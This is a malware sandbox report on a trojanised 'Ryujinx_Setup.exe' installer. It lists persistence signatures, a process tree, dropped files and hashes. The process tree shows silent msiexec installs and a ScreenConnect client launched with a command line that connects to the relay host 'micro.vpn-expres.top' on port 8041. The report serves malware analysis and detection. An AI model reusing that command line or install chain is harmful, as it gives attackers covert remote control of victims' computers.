Analysis

  • max time kernel
    298s
  • max time network
    279s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    10/07/2026, 02:45

General

  • Target
    ryujinx/Ryujinx_Setup.exe
  • Size 505KB
  • Sample260710-c8y3eact2m
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 30 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 24 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ryujinx\Ryujinx_Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\ryujinx\Ryujinx_Setup.exe"
    1⤵
    • Checks for any installed AV software in registry
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Users\Admin\AppData\Local\Temp\0e5a08a5.exe
      "C:\Users\Admin\AppData\Local\Temp\0e5a08a5.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4480
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\974A44E4.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2552
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\8DE90EF4.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3236
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 26F7B080BB1962E074608795A13C90BF
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:408
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI114.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240648718 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1096
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6A212D48D80C3B476EC4C2C808E7D5C9 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      PID:1176
  • C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=cd8a4ec7-c0db-4598-b03f-4678cd9bd01e&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ryujinx&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:60
    • C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe" "RunRole" "d52d612c-130e-4a51-b92d-4258bf629ece" "User"
      2⤵
      • Executes dropped EXE
      PID:1848

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e57fbe7.rbs

        • Path C:\Config.Msi\e57fbe7.rbs
        • Size 213KB
        • SHA256 bc526e672591e9bb13abb86ef8dbe5c457dfe9d8780e291a0650565c6358c41b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VC9CRT_x64\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VC9CRT_x64\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        0e5a08a5.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0e5a08a5.exe
        • Size 37.3MB
        • SHA256 fe9fbd1825317a1b61d3c3e6857e39e2a2993fe9bd3553b4fb5e7826397b24e9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        974A44E4.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\974A44E4.tmp
        • Size 12.8MB
        • SHA256 d36a7d4f536229d2784908c9975612a8d20180ec38dc2b066b777a1d501d4c1d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dxsetup_dbg.log

        • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
        • Size 1KB
        • SHA256 5d65397f0a5a1379249affadfe44509488516259bacbccba1806a282cb61fb0c
        • MD5 SHA1 SHA512 TLSH

        MSI114.tmp

        • Path C:\Windows\Installer\MSI114.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI114.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI114.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI114.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI114.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI1191.tmp

        • Path C:\Windows\Installer\MSI1191.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DXError.log

        • Path C:\Windows\Logs\DXError.log
        • Size 554B
        • SHA256 fd3d68f0ec6d7f1e6c47925840842bf532153dc45366293e8944b7db729c80c2
        • MD5 SHA1 SHA512 TLSH

        0ettbsbo.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\0ettbsbo.newcfg
        • Size 584B
        • SHA256 7a75709794d3cb8d9a6f99a089f9356cc409591b3ac6bad296bd25eb81fc2ee3
        • MD5 SHA1 SHA512 TLSH

        4sp0lzje.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\4sp0lzje.newcfg
        • Size 584B
        • SHA256 2c0741ff3d3d71e5093c2c98e57300aa81c0e9bd901d306989cf7d1d761509f7
        • MD5 SHA1 SHA512 TLSH

        ipwwv0ja.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\ipwwv0ja.newcfg
        • Size 584B
        • SHA256 c72926df02e4476b2ef4cda747afd10c0ed7c9e625c1f49b6ab85a8c4f12ddf3
        • MD5 SHA1 SHA512 TLSH

        kdltpiqg.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\kdltpiqg.newcfg
        • Size 584B
        • SHA256 19d2e37c4cf9ca4c6aa223e441844156b07f125d203fbf7bbe66af2e91803610
        • MD5 SHA1 SHA512 TLSH

        ny5hgmdd.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\ny5hgmdd.newcfg
        • Size 584B
        • SHA256 60a669745e7d3f502f94d84303d2196708b7a57b524ac9c34da73f9604c75806
        • MD5 SHA1 SHA512 TLSH

        ob2solcg.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\ob2solcg.newcfg
        • Size 584B
        • SHA256 c0f0b5dd1ea644b76173f94c64cc227e5b3805b3bd3adfc6e890db1be11a3cd8
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\user.config
        • Size 584B
        • SHA256 1eaa5f50a3d8f5ccec508d173594b50019d9454732c756adde4650c54402c6d1
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\user.config
        • Size 584B
        • SHA256 4db3d2a3bd22b65e047398716f6897e38727455a7c2b19ff68ed8cb60bf04813
        • MD5 SHA1 SHA512 TLSH

        xajnc5kq.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\xajnc5kq.newcfg
        • Size 584B
        • SHA256 21f941ce640065c9043352f46048136804f7a0ffb5c0b9f6a66e973695654cee
        • MD5 SHA1 SHA512 TLSH

        xizmaur1.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\xizmaur1.newcfg
        • Size 584B
        • SHA256 1af87ef506980d09ef1e8af797e2324e28e210542d7715f6d99dc7acf088f30c
        • MD5 SHA1 SHA512 TLSH

        memory/60-166-0x0000000004BF0000-0x0000000004CC5000-memory.dmp

        memory/60-164-0x0000000004970000-0x00000000049B1000-memory.dmp

        memory/60-162-0x0000000004A10000-0x0000000004AA2000-memory.dmp

        memory/60-161-0x0000000004680000-0x00000000046B6000-memory.dmp

        memory/60-157-0x0000000004630000-0x0000000004680000-memory.dmp

        memory/60-141-0x0000000004280000-0x0000000004298000-memory.dmp

        memory/1096-100-0x00000000059A0000-0x0000000005B4C000-memory.dmp

        memory/1096-101-0x0000000006100000-0x00000000066A6000-memory.dmp

        memory/1096-88-0x0000000005680000-0x00000000056AE000-memory.dmp

        memory/1096-92-0x00000000056C0000-0x00000000056CA000-memory.dmp

        memory/1096-96-0x0000000005760000-0x00000000057EE000-memory.dmp

        memory/1848-183-0x000000001B900000-0x000000001B98E000-memory.dmp

        memory/1848-186-0x000000001BE50000-0x000000001BFFC000-memory.dmp

        memory/1848-179-0x0000000000C90000-0x0000000000D28000-memory.dmp

        memory/1848-180-0x0000000002CA0000-0x0000000002CD6000-memory.dmp

        memory/1848-188-0x000000001D0B0000-0x000000001D238000-memory.dmp

        memory/1848-190-0x0000000002D00000-0x0000000002D18000-memory.dmp

        memory/1848-189-0x0000000002C80000-0x0000000002C98000-memory.dmp

        memory/4480-203-0x00000000002F0000-0x0000000000608000-memory.dmp

        memory/4480-217-0x00000000002F0000-0x0000000000608000-memory.dmp

        memory/4480-231-0x00000000002F0000-0x0000000000608000-memory.dmp

        memory/4480-154-0x00000000002F0000-0x0000000000608000-memory.dmp

        memory/4480-191-0x0000000000720000-0x0000000000721000-memory.dmp

        memory/4480-11-0x0000000000720000-0x0000000000721000-memory.dmp